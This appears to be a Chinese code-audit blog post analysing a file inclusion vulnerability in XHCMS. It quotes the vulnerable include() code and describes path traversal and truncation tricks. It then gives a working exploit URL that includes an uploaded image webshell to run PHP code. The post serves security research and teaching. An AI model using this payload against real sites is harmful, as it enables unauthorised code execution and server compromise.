一、初识CMS:
熊海CMS是由熊海开发的一款可广泛应用于个人博客,个人网站,企业网站的一套网站综合管理系统。适用于个人博客、个人网站、企业网站等各种用途,前台采用电脑、移动端两种显示模式,后台使用HML5响应式布局。
目前系统已经集成:代码高亮、广告模块、文件图片上传、图片水印、图片缩略图,智能头像,互动邮件通知等。部份模块添加多种实用功能
-目录结构:
二、漏洞简介:
程序直接将POST接收到的参数拼接到要包含的文件路径中,没有进行任何过滤,导致可以通过../跨目录的方式包含任意文件,并且可以通过截断绕过。
三、漏洞分析过程:
定位到:/index.php:
这里直接将GET接收到的r参数,使用addslashes()转义,然后赋值给$action,最终拼接到要包含的文件路径中,没有进行任何过滤,但是后面拼接了.php,所以要想办法将他去掉
这里可以使用00截断、.号溢出、?方式进行截断,不过都有php版本限制,因为GET传进来的r参数是可控的,所以可以使用../跨目录包含任意文件。
漏洞部分代码:
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
/admin/index.php,也是一样的:
四、漏洞利用:
1、上传一个图片马:
访问漏洞url,构造payload:
http://www.xhcms.test/index.php?r=../conf.jpg........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
成功包含图片马,成功执行php代码,Getshell也是可以的,改一下图片马就好,这里就不演示了:
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
本文始发于微信公众号(哈拉少安全小队):[代码审计] xhcms 文件包含漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论